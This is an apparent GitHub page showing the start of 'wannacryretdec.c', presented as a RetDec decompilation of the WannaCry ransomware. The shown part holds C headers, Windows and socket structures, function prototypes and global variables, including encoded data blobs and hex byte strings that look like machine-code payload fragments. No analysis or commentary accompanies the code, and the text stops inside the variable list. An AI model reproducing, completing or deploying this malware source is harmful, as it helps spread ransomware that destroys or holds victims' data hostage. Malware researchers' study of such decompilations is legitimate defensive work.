-
Notifications
You must be signed in to change notification settings - Fork 0
/
wannacryretdec.c
13957 lines (13825 loc) · 701 KB
/
wannacryretdec.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2019 Retargetable Decompiler <[email protected]>
//
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <time.h>
#include <windows.h>
// ---------------- Integer Types Definitions -----------------
typedef int8_t int3_t;
// ----------------- Float Types Definitions ------------------
typedef double float64_t;
typedef long double float80_t;
// ------------------------ Structures ------------------------
struct WSAData {
int16_t e0;
int16_t e1;
int16_t e2;
int16_t e3;
char * e4;
char e5[1];
char e6[1];
};
struct _EXCEPTION_RECORD {
int32_t e0;
int32_t e1;
struct _EXCEPTION_RECORD * e2;
int32_t * e3;
int32_t e4;
int32_t e5[1];
};
struct _LARGE_INTEGER {
int64_t e0;
};
struct _LIST_ENTRY {
struct _LIST_ENTRY * e0;
struct _LIST_ENTRY * e1;
};
struct _M128A {
int64_t e0;
int64_t e1;
};
struct _CONTEXT {
int64_t e0;
int64_t e1;
int64_t e2;
int64_t e3;
int64_t e4;
int64_t e5;
int32_t e6;
int32_t e7;
int16_t e8;
int16_t e9;
int16_t e10;
int16_t e11;
int16_t e12;
int16_t e13;
int32_t e14;
int64_t e15;
int64_t e16;
int64_t e17;
int64_t e18;
int64_t e19;
int64_t e20;
int64_t e21;
int64_t e22;
int64_t e23;
int64_t e24;
int64_t e25;
int64_t e26;
int64_t e27;
int64_t e28;
int64_t e29;
int64_t e30;
int64_t e31;
int64_t e32;
int64_t e33;
int64_t e34;
int64_t e35;
int64_t e36;
int64_t e37;
int32_t e38;
struct _M128A e39[26];
int64_t e40;
int64_t e41;
int64_t e42;
int64_t e43;
int64_t e44;
int64_t e45;
};
struct _RTL_CRITICAL_SECTION {
struct _RTL_CRITICAL_SECTION_DEBUG * e0;
int32_t e1;
int32_t e2;
int32_t * e3;
int32_t * e4;
int32_t e5;
};
struct _RTL_CRITICAL_SECTION_DEBUG {
int16_t e0;
int16_t e1;
struct _RTL_CRITICAL_SECTION * e2;
struct _LIST_ENTRY e3;
int32_t e4;
int32_t e5;
int32_t e6;
int16_t e7;
int16_t e8;
};
struct _SERVICE_STATUS {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
int32_t e4;
int32_t e5;
int32_t e6;
};
struct _SERVICE_TABLE_ENTRYA {
char * e0;
void (*e1)(int32_t, char **);
};
struct _TYPEDEF_IP_ADDRESS_STRING__PIP_ADDRESS_STRING_IP_MASK_STRING__PIP_MASK_STRING {
char e0[1];
};
struct _IP_ADDR_STRING {
struct _IP_ADDR_STRING * e0;
struct _TYPEDEF_IP_ADDRESS_STRING__PIP_ADDRESS_STRING_IP_MASK_STRING__PIP_MASK_STRING e1;
struct _TYPEDEF_IP_ADDRESS_STRING__PIP_ADDRESS_STRING_IP_MASK_STRING__PIP_MASK_STRING e2;
int32_t e3;
};
struct _IP_ADAPTER_INFO {
struct _IP_ADAPTER_INFO * e0;
int32_t e1;
char e2[1];
char e3[1];
int32_t e4;
char e5[1];
int32_t e6;
int32_t e7;
int32_t e8;
struct _IP_ADDR_STRING * e9;
struct _IP_ADDR_STRING e10;
struct _IP_ADDR_STRING e11;
struct _IP_ADDR_STRING e12;
bool e13;
struct _IP_ADDR_STRING e14;
struct _IP_ADDR_STRING e15;
int32_t e16;
int32_t e17;
};
struct _IP_PER_ADAPTER_INFO_W2KSP1 {
int32_t e0;
int32_t e1;
struct _IP_ADDR_STRING * e2;
struct _IP_ADDR_STRING e3;
};
struct fd_set {
int32_t e0;
int32_t e1[1];
};
struct in_addr {
int32_t e0;
};
struct sockaddr {
int16_t e0;
char e1[14];
};
struct timeval {
int32_t e0;
int32_t e1;
};
// ------------------- Function Prototypes --------------------
int32_t __controlfp(int32_t NewValue, int32_t Mask);
int32_t entry_point(void);
int32_t function_401000(void);
int32_t function_401010(void);
int32_t function_401030(void);
int32_t function_401040(void);
int32_t function_401140(char * a1, int32_t a2, int32_t a3);
int32_t function_401190(void);
int32_t function_401310(void);
int32_t function_401370(void);
int32_t function_401660(void);
int32_t function_4017b0(char * a1, int32_t a2);
int32_t function_401980(char * cp, int32_t a2);
int32_t function_401b70(void);
int32_t function_401d80(int32_t a1, int32_t a2);
int32_t function_406eb0(int32_t a1, int32_t a2);
int32_t function_406ed0(int32_t a1);
int32_t function_406f00(int32_t a1, int32_t a2, uint32_t a3);
int32_t function_406f50(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
int32_t function_4072a0(void);
int32_t function_407480(int32_t a1, int32_t a2);
int32_t function_407540(int32_t n);
int32_t function_407620(void);
int32_t function_407660(void);
int32_t function_4076b0(int32_t * a1);
int32_t function_407720(void);
int32_t function_407840(void);
int32_t function_407a20(void);
int32_t function_407b90(void);
int32_t function_407bd0(void);
int32_t function_407c40(void);
int32_t function_407ce0(void);
int32_t function_407f20(void);
int32_t function_407f30(int32_t a1);
int32_t function_407fa0(int32_t * hService, int32_t a2);
int32_t function_408000(void);
int32_t function_408090(void);
int32_t function_408140(int32_t a1);
int32_t function_4081d0(void);
int32_t function_408200(char * a1, int32_t a2, int32_t a3);
int32_t function_4082b0(void);
int32_t function_4082c0(int32_t a1, int32_t a2, int32_t a3);
int32_t function_408390(void);
int32_t function_4085d0(void);
int32_t function_4089d0(void);
int32_t function_408a10(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
int32_t function_408a60(int32_t * a1, int32_t a2, int32_t a3);
int32_t function_408cd0(void);
int32_t function_408d30(void);
int32_t function_408d50(void);
int32_t function_408db0(int32_t a1, int32_t a2);
int32_t function_408dd0(int32_t a1);
int32_t function_408e30(int32_t * a1, int32_t a2);
int32_t function_408e50(void);
int32_t function_409040(void);
int32_t function_409050(void);
int32_t function_409080(void);
int32_t function_4090b0(void);
int32_t function_4090d0(void);
int32_t function_409110(void);
int32_t function_409160(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13, int32_t a14, int32_t a15, int32_t a16);
int32_t function_409470(void);
int32_t function_409680(void);
int32_t function_409750(void);
int32_t function_4097b0(int32_t s);
int32_t function_4097b6(int32_t s, char * buf, int32_t len, int32_t flags);
int32_t function_4097bc(int32_t s, char * buf, int32_t len, int32_t flags);
int32_t function_4097c2(int32_t s, struct sockaddr * name, int32_t namelen);
int32_t function_4097c8(int32_t af, int32_t type, int32_t protocol);
int16_t function_4097ce(int16_t hostshort);
int32_t function_4097d4(char * cp);
int32_t function_4097da(int32_t nfds, struct fd_set * readfds, struct fd_set * writefds, struct fd_set * exceptfds, struct timeval * timeout);
int32_t function_4097e0(int32_t s, int32_t cmd, int32_t * argp);
char * function_4097e6(struct in_addr in);
int32_t function_4097ec(int16_t wVersionRequested, struct WSAData * lpWSAData);
int32_t function_4097f2(int32_t netlong);
int32_t function_4097f8(int32_t hostlong);
int32_t function_4097fe(int32_t * a1);
int32_t function_40980a(int32_t IfIndex, struct _IP_PER_ADAPTER_INFO_W2KSP1 * pPerAdapterInfo, int32_t * pOutBufLen);
int32_t function_409810(struct _IP_ADAPTER_INFO * AdapterInfo, int32_t * SizePointer);
int32_t function_409816(int32_t (*a1)());
int32_t function_409842(int32_t a1);
int32_t function_409860(void);
int32_t function_409890(void);
int32_t function_409a0a(int32_t * pExcept, int32_t * pRN, int32_t * pContext, int32_t * pDC);
int32_t function_409a10(int32_t a1);
int32_t function_409b54(void);
void function_409b74(int32_t * ptr);
int32_t (*function_409b7a(int32_t (*func)(), void (***pbegin)(), void (***pend)()))();
int32_t function_409b80(int32_t xcptnum, int32_t * pxcptinfoptrs);
void function_409b86(void (**First)(), void (**Last)());
int32_t function_409b9e(void);
int32_t function_409ba1(void);
int32_t function_409ba2(struct _EXCEPTION_RECORD * exception_record, int32_t registration, struct _CONTEXT * context, int32_t dispatcher);
int32_t function_409bb0(void);
int32_t function_409bb8(void);
int32_t function_409bc0(void);
// --------------------- Global Variables ---------------------
bool g1 = false; // df
int32_t g2 = 0; // eax
int32_t g3 = 0; // ebp
int32_t g4 = 0; // ebx
int32_t g5 = 0; // ecx
int32_t g6 = 0; // edi
int32_t g7 = 0; // edx
int32_t g8 = 0; // esi
int32_t g9 = 0; // esp
int3_t g10 = 0; // fpu_stat_TOP
int32_t g11 = 0x68f63356;
int32_t g14 = 0x448908c6;
char * g15;
char * g16;
char * g17;
char * g18;
char * g19;
char * g20;
char * g21;
char * g22;
char * g23;
char * g24;
char g25[819] = "MK9f8lBAf/FKP5U2etKvFr+y0UzeQ50K1VhCDWxQIyPi78hG4ytDPs/1abcyyE+Zz82FmWbwA6SnUjO/25jXVospykFgiPFrDMiCFBF0uut8WqNe7+7HmU8v+Ig4F+1eQ9MSR7WXiFiZXWHXj1crLYpGpFd95oYovDOvw+yWgkxqIT+R6V2F+o5RYMdg9YCMTgtiyu70wCgucw9RU1kqGkiYCOkKL0aWDOzuBO5S5CkTYAJdzE+W5XDCgX6cpWGhJ0FasNnH3NAfjYI0LszwpEDu98OBY+zmtTlZtC3oPFMWAC/Z0AlaKppAPj9wC+wTUvHaYebKOjTujZqL+ysbIsiANOz9as1cnBUVVGzas9ZZKOX83TZfRF3UTrZM1UxnxEDg+3tUKdUvZGixYunoOnldp/9oFIHacUCtHo6CGE6jgS0iRgbi3YfFyvD/+d8KjQ+vZREmGxZ+/yKtIKXOsz9+pMo0OiDcvtF3PlEUS6xy7ekKLyUOWAWFoR9s+H2bIXCRIo/Jdns9MdGkdz8+tco7bthLrJghq4A46rewPPAV1vte6FLbSLJonwdvJda4x4RldJLN4mRCT4nZ3t7O8oI/ePQxRdVXrtGJ0OQ5HlQrbdkvR6R7+hr8VdXdUcfdnHbb1BfzJiGI/e6+DyAxsdl29vVlXV0cVx6dNEAIkOVnLPajGppXEoiUc7sGlzOdU52RJCjgIVLG5Q/eKkNO9LTendYxljGopQHZ2SJXus2AQl97m0T6kswRtRBzqKS1cRYKce1MXGWmjsiMIrLz8NerBzf2NnrmQSBxUTIuUPqxoxBajr";
char * g26;
char * g27;
char * g28;
char * g29;
char * g30;
char * g31;
char * g32;
char * g33;
char * g34;
char * g35;
char * g36;
char * g37;
char * g38;
char * g39;
char * g40;
char * g41;
char * g42 = "\x32\x42\x67\x48\x44\x59\x75\x39\x4d\x31\x52\x4f\x67\x31\x46\x6d\x73\x54\x6d\x37\x6a\x4a\x67\x30\x38\x69\x64\x4f\x6e\x54\x39\x37\x43\x56\x76\x4c\x76\x43\x44\x2f\x69\x47\x45\x69\x74\x2f\x6f\x39\x49\x4c\x45\x43\x46\x4c\x4a\x68\x36\x6e\x50\x48\x5a\x49\x78\x32\x51\x54\x6c\x4d\x54\x57\x6d\x54\x36\x6d\x38\x53\x43\x44\x64\x76\x6b\x43\x5a\x47\x53\x6d\x6b\x6d\x68\x79\x51\x59\x45\x4d\x77\x67\x57\x2b\x53\x78\x51\x47\x2f\x57\x4a\x78\x6b\x35\x53\x38\x37\x68\x41\x78\x5a\x38\x70\x46\x42\x6b\x64\x62\x64\x59\x62\x76\x30\x54\x75\x4d\x36\x4e\x30\x31\x78\x75\x78\x2f\x41\x38\x38\x47\x44\x57\x37\x45\x63\x2f\x30\x73\x4c\x44\x57\x4d\x34\x6a\x2b\x72\x64\x4b\x45\x63\x6f\x4b\x64\x2b\x51\x64\x56\x2f\x34\x58\x47\x78\x6b\x72\x38\x42\x6d\x30\x35\x46\x57\x77\x68\x41\x6c\x64\x73\x53\x73\x56\x6a\x6c\x36\x48\x73\x32\x46\x6c\x36\x34\x35\x56\x73\x77\x55\x57\x70\x31\x2f\x46\x34\x70\x68\x4b\x6d\x49\x63\x39\x4b\x31\x33\x58\x4f\x52\x37\x32\x62\x42\x6f\x50\x74\x66\x6d\x35\x53\x44\x45\x64\x68\x46\x5a\x41\x45\x42\x62\x45\x78\x53\x61\x77\x4c\x6d\x43\x74\x74\x4e\x41\x6e\x65\x70\x75\x41\x63\x73\x36\x4e\x58\x62\x4e\x66\x39\x4b\x4d\x51\x4e\x37\x4f\x45\x6d\x44\x2f\x34\x54\x55\x79\x35\x71\x74\x4e\x4b\x6b\x33\x38\x6f\x36\x65\x53\x79\x63\x52\x70\x4b\x6f\x6e\x2b\x56\x2f\x39\x61\x37\x5a\x30\x4d\x75\x43\x74\x41\x47\x4b\x6c\x4e\x71\x57\x61\x51\x4a\x32\x6b\x45\x2f\x44\x61\x79\x54\x30\x6a\x55\x59\x70\x5a\x6a\x4f\x72\x69\x57\x72\x42\x44\x4f\x31\x4a\x76\x50\x53\x44\x65\x54\x38\x4b\x55\x7a\x36\x39\x47\x67\x61\x65\x66\x6b\x55\x4b\x2f\x4d\x4b\x62\x71\x55\x39\x75\x7a\x51\x35\x38\x65\x2b\x50\x68\x4a\x6e\x35\x73\x79\x6f\x38\x63\x66\x6d\x76\x72\x2f\x57\x63\x57\x55\x30\x31\x78\x4b\x50\x4a\x50\x76\x37\x71\x56\x36\x33\x33\x61\x4f\x77\x34\x4b\x64\x42\x4e\x53\x4b\x68\x48\x5a\x48\x55\x33\x55\x4d\x4d\x6a\x6c\x37\x69\x47\x66\x6d\x6d\x5a\x30\x61\x62\x6f\x38\x4b\x75\x37\x63\x46\x35\x50\x6f\x31\x73\x65\x41\x37\x65\x62\x38\x32\x39\x5a\x2f\x63\x34\x51\x79\x4f\x4b\x4f\x43\x56\x65\x78\x44\x51\x66\x56\x76\x30\x52\x37\x57\x53\x66\x58\x31\x46\x41\x47\x42\x31\x61\x43\x41\x55\x2b\x75\x73\x6f\x78\x42\x56\x49\x48\x63\x64\x4f\x59\x78\x32\x43\x57\x38\x63\x57\x69\x51\x66\x2f\x4a\x73\x69\x67\x48\x30\x38\x48\x6d\x42\x6c\x34\x6e\x2b\x79\x6c\x39\x33\x77\x67\x79\x41\x6e\x4b\x42\x42\x55\x53\x55\x7a\x35\x6d\x50\x53\x54\x4d\x45\x56\x41\x32\x4c\x62\x4e\x6a\x35\x73\x37\x57\x57\x67\x56\x71\x78\x62\x64\x2f\x49\x6c\x47\x7a\x39\x56\x65\x52\x54\x4d\x65\x4a\x74\x53\x5a\x56\x42\x69\x68\x43\x6e\x45\x6a\x6d\x42\x75\x49\x70\x42\x44\x65\x2f\x6b\x50\x70\x6a\x57\x6f\x68\x4e\x75\x2f\x2b\x66\x4d\x4c\x65\x30\x6f\x37\x37\x55\x6d\x76\x50\x36\x66\x46\x6a\x35\x50\x47\x4c\x51\x56\x5a\x62\x42\x4c\x41\x54\x34\x33\x45\x35\x5a\x2f\x31\x43\x55\x45\x6e\x38\x55\x35\x4a\x4b\x44\x7a\x76\x43\x4e\x30\x45\x72\x4f\x76\x6a\x32\x4f\x4b\x4d\x61\x56\x47\x38\x44\x48\x61\x44\x4b\x76\x37\x36\x69\x45\x78\x30\x62\x55\x63\x68\x4f\x52\x46\x66\x67\x56\x56\x62\x7a\x49\x67\x4c\x6f\x70\x48\x45\x42\x72\x52\x51\x32\x6e\x66\x6e\x48\x59\x48\x4d\x45\x4d\x49\x46\x31\x6d\x59\x70\x36\x74\x38\x45\x52\x57\x4d\x38\x71\x47\x36\x47\x4e\x2b\x6c\x69\x68\x4e\x38\x75\x31\x72\x41\x37\x30\x4e\x4a\x4d\x74\x63\x47\x50\x6d\x2f\x59\x39\x4a\x55\x35\x6d\x38\x2b\x4e\x39\x68\x61\x76\x47\x70\x72\x2b\x6f\x4a\x62\x4e\x62\x4c\x48\x32\x33\x36\x39\x30\x4a\x67\x7a\x34\x38\x41\x4e\x62\x68\x69\x2f\x73\x62\x37\x6a\x4d\x52\x41\x6e\x50\x64\x47\x6a\x38\x38\x6a\x73\x6b\x67\x62\x5a\x69\x51\x55\x31\x63\x56\x37\x70\x76\x54\x77\x4e\x46\x55\x44\x4e\x4b\x44\x79\x37\x4a\x67\x6c\x4f\x77\x32\x63\x54\x65\x35\x37\x4b\x35\x6b\x72\x66\x6a\x4b\x75\x4e\x65\x2f\x47\x75\x46\x33\x50\x2b\x52\x6c\x50\x38\x50\x2b\x6e\x65\x50\x4c\x51\x6f\x70\x67\x2b\x44\x34\x51\x4a\x49\x49\x77\x38\x6b\x4b\x63\x30\x4b\x4f\x2f\x65\x6d\x56\x4a\x65\x44\x64\x58\x35\x76\x39\x4e\x53\x6e\x79\x2b\x78\x79\x61\x31\x30\x64\x31\x56\x4c\x76\x61\x71\x57\x54\x6c\x66\x62\x75\x69\x42\x73\x71\x55\x48\x4d\x33\x79\x79\x30\x6f\x53\x31\x49\x47\x46\x66\x63\x48\x73\x45\x2b\x64\x35\x50\x61\x61\x78\x52\x6d\x2f\x33\x70\x6f\x6c\x67\x75\x6f\x56\x68\x59\x2f\x69\x32\x68\x48\x73\x73\x6b\x56\x2b\x6b\x55\x41\x75\x6b\x5a\x47\x52\x71\x35\x72\x33\x41\x54\x58\x39\x61\x4a\x78\x41\x7a\x71\x2f\x54\x67\x42\x68\x69\x43\x42\x6a\x45\x55\x57\x4b\x5a\x33\x63\x45\x35\x75\x32\x50\x39\x2b\x34\x64\x52\x33\x6a\x66\x55\x32\x33\x74\x6c\x43\x7a\x2f\x74\x43\x55\x38\x68\x67\x6a\x61\x70\x43\x4f\x57\x5a\x76\x39\x66\x65\x78\x48\x49\x52\x69\x79\x6b\x36\x7a\x61\x79\x4e\x53\x48\x41\x68\x32\x69\x56\x69\x6d\x69\x45\x30\x69\x4f\x78\x53\x2f\x4f\x75\x52\x70\x62\x70\x75\x6e\x57\x65\x74\x55\x4e\x55\x69\x39\x39\x51\x64\x6e\x2f\x37\x37\x56\x67\x58\x6f\x41\x72\x6d\x6f\x4b\x44\x63\x37\x36\x54\x33\x45\x2b\x37\x5a\x68\x41\x66\x75\x44\x77\x4e\x33\x4f\x6c\x53\x4b\x39\x31\x4c\x5a\x4f\x4b\x36\x64\x49\x77\x6b\x4b\x6d\x6e\x47\x52\x4b\x33\x58\x34\x78\x56\x32\x79\x4f\x35\x61\x4b\x76\x2b\x39\x43\x56\x6e\x6f\x75\x6e\x36\x4d\x43\x34\x4f\x53\x6d\x64\x4b\x51\x72\x74\x4e\x34\x7a\x5a\x6e\x41\x53\x68\x50\x47\x61\x33\x79\x4c\x70\x71\x53\x33\x56\x76\x61\x44\x2b\x57\x35\x49\x52\x6b\x41\x39\x64\x68\x67\x4a\x69\x31\x4e\x6c\x59\x50\x44\x68\x4b\x51\x42\x32\x70\x72\x37\x47\x67\x70\x72\x62\x4c\x72\x75\x45\x38\x78\x74\x47\x6b\x71\x57\x47\x46\x74\x44\x6f\x71\x7a\x49\x58\x65\x58\x55\x33\x58\x56\x36\x4e\x4f\x73\x4b\x37\x54\x6c\x63\x48\x62\x42\x66\x35\x41\x6c\x37\x68\x51\x41\x38\x51\x43\x49\x62\x45\x35\x67\x34\x5a\x66\x77\x79\x4f\x45\x56\x55\x52\x6f\x72\x6c\x71\x42\x49\x74\x2b\x38\x49\x4c\x6f\x58\x4c\x44\x48\x64\x34\x58\x46\x38\x44\x38\x4d\x4f\x74\x44\x71\x32\x78\x47\x6d\x55\x31\x49\x41\x64\x31\x50\x67\x78\x4e\x48\x47\x2b\x39\x32\x47\x48\x38\x54\x6e\x45\x52\x59\x47\x58\x39\x56\x6e\x55\x5a\x74\x58\x73\x63\x35\x55\x59\x61\x76\x48\x2f\x6f\x66\x63\x31\x39\x35\x61\x66\x62\x36\x65\x44\x49\x79\x51\x4d\x6f\x65\x39\x54\x52\x54\x77\x74\x4d\x71\x74\x2f\x34\x68\x55\x66\x39\x57\x73\x67\x63\x68\x44\x64\x63\x6e\x75\x4d\x4f\x33\x63\x75\x54\x33\x74\x36\x57\x49\x4a\x75\x66\x37\x39\x47\x77\x52\x78\x77\x74\x79\x75\x4b\x32\x56\x42\x6b\x37\x68\x48\x75\x4d\x49\x53\x77\x33\x51\x31\x6c\x39\x31\x6d\x2b\x4a\x43\x32\x31\x71\x33\x61\x63\x4c\x79\x2b\x53\x62\x2b\x44\x58\x69\x4b\x37\x32\x31\x36\x75\x72\x59\x52\x64\x4b\x77\x36\x72\x47\x43\x2b\x5a\x39\x6b\x47\x51\x37\x7a\x61\x70\x30\x38\x38\x59\x46\x70\x70\x6e\x6c\x2b\x56\x78\x57\x70\x68\x71\x5a\x63\x6b\x2f\x57\x51\x80";
char * g43 = "\x47\x77\x52\x78\x77\x74\x79\x75\x4b\x32\x56\x42\x6b\x37\x68\x48\x75\x4d\x49\x53\x77\x33\x51\x31\x6c\x39\x31\x6d\x2b\x4a\x43\x32\x31\x71\x33\x61\x63\x4c\x79\x2b\x53\x62\x2b\x44\x58\x69\x4b\x37\x32\x31\x36\x75\x72\x59\x52\x64\x4b\x77\x36\x72\x47\x43\x2b\x5a\x39\x6b\x47\x51\x37\x7a\x61\x70\x30\x38\x38\x59\x46\x70\x70\x6e\x6c\x2b\x56\x78\x57\x70\x68\x71\x5a\x63\x6b\x2f\x57\x51\x80";
char * g44;
char * g45 = "\xc3\x56\x89\xc6\x83\xc6\x3c\x8b\x36\x01\xc6\x66\x81\x3e\x50\x45\x75\x09\x83\xc6\x78\x8b\x36\x01\xf0\x5e\xc3\x31\xc0\xeb\xfa\x56\x51\x57\x89\xc6\x31\xc0\x89\xc7\xc1\xe7\x07\x29\xc7\x89\xf8\x31\xc9\x8a\x0e\x80\xf9";
char * g46;
char * g47 = "\xc1\xe7\x07\x29\xc7\x89\xf8\x31\xc9\x8a\x0e\x80\xf9";
char * g48 = "\xc1\xe7\x07\x29\xc7\x89\xf8\x31\xc9\x8a\x0e\x80\xf9";
char * g49 = "\x89\xec\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5e\x5f\x5d\x5b\xc3\x53\x52\x51\x55\x48\x89\xe5\x48\x81\xec";
char * g50;
char * g51;
char * g52;
char * g53;
char * g54;
char * g55;
int32_t g56 = 0x4d53ff47;
char * g57;
int32_t g58 = 0;
int32_t g59 = 0;
int32_t g60 = 0;
char * g61;
char * g62;
char * g63;
int32_t g64 = 0x400800;
char * g65;
int32_t g66 = -0x100f800;
int32_t g68 = 0xc0f0041;
int32_t g69 = 0xee3401;
int32_t g70 = 0xee34;
int32_t g71 = 238;
int32_t g72 = 0xc000000;
char * g73;
int32_t g74 = -0x100f800;
int32_t g76 = 0xd000e00;
int32_t g77 = 16;
char * g78 = "\x8b\x44\x24\x04\x60\x89\xc5\x81\xec\xb4";
char g79[3] = "p}";
int32_t g80 = 256;
int32_t g81 = 0;
int32_t g82 = 0x66e08948;
int32_t g83 = 0x1df8a;
char g85[2] = "R";
struct _RTL_CRITICAL_SECTION * g86 = NULL;
struct _SERVICE_STATUS * g87 = NULL;
int32_t g88 = 0;
int32_t g89 = 0;
int32_t g90 = 0;
int32_t g91 = 0;
int32_t g92 = 0;
int32_t g93 = 0;
int32_t g94 = 0;
float64_t g95 = 0.0;
int32_t g96 = 0;
int32_t g97 = 0;
int32_t g98 = 0;
int32_t g99 = 0;
int32_t g100 = 0;
int32_t g101 = 0;
int32_t g102 = 0;
int16_t * g103 = NULL;
int32_t g104 = 0;
int32_t g105 = 0;
int32_t g106 = 0;
int32_t g107 = 0;
int32_t g108 = 0;
int32_t g109 = 0;
char * g110;
int32_t g111 = 0;
int32_t g112 = 0;
int32_t g113 = 0;
int32_t g114 = 0;
int32_t g115 = 0;
int32_t g116 = 0;
int32_t g117 = 0;
int32_t g118 = 0;
int32_t g119 = 0;
char * g120;
int32_t g121 = 0;
int32_t g122 = 0;
int32_t g123 = 0;
int32_t g124 = 0;
int32_t g125 = 0;
int32_t g126 = 0;
int32_t g127 = 0;
int32_t g128 = 0;
int32_t g129 = 0;
int32_t g130 = 0;
int32_t g131 = 0;
int32_t g132 = 0;
char * g133;
int32_t g134 = 0;
int32_t g135 = 0;
int32_t g136 = 0;
int32_t g137 = 0;
int32_t g138 = 0;
int32_t g139 = 0;
int32_t g140 = 0;
int32_t g141 = 0;
int32_t g142 = 0;
int32_t g143 = 0;
int32_t g144 = 0;
int32_t g145 = 0;
char * g146;
int32_t g147 = 0;
int32_t g148 = 0;
int32_t g149 = 0;
int32_t g150 = 0;
int32_t g151 = 0;
int32_t g152 = 0;
int32_t g153 = 0;
int32_t g154 = 0;
int32_t g155 = 0;
char * g156;
int32_t g157 = 0;
int32_t g158 = 0;
int32_t g159 = 0;
int32_t g160 = 0;
int32_t g161 = 0;
char * g162;
int32_t g163 = 0;
int32_t g164 = 0;
int32_t g165 = 0;
int32_t g166 = 0;
int32_t g167 = 0;
char * g168;
int32_t g169 = 0;
int32_t g170 = 0;
int32_t g171 = 0;
int32_t g172 = 0;
int32_t g173 = 0;
char * g174;
int32_t g175 = 0;
int32_t g176 = 0;
int32_t g177 = 0;
int32_t g178 = 0;
int32_t g179 = 0;
char * g180;
int32_t g181 = 0;
int32_t g182 = 0;
int32_t g183 = 0;
int32_t g184 = 0;
int32_t g185 = 0;
char * g186;
int32_t g187 = 0;
int32_t g188 = 0;
int32_t g189 = 0;
int32_t g190 = 0;
int32_t g191 = 0;
char * g192;
int32_t g193 = 0;
int32_t g194 = 0;
int32_t g195 = 0;
int32_t g196 = 0;
int32_t g197 = 0;
char * g198;
int32_t g199 = 0;
int32_t g200 = 0;
int32_t g201 = 0;
int32_t g202 = 0;
int32_t g203 = 0;
char * g204;
int32_t g205 = 0;
int32_t g206 = 0;
int32_t g207 = 0;
int32_t g208 = 0;
int32_t g209 = 0;
char * g210;
int32_t g211 = 0;
int32_t g212 = 0;
int32_t g213 = 0;
int32_t g214 = 0;
int32_t g215 = 0;
char * g216;
int32_t g217 = 0;
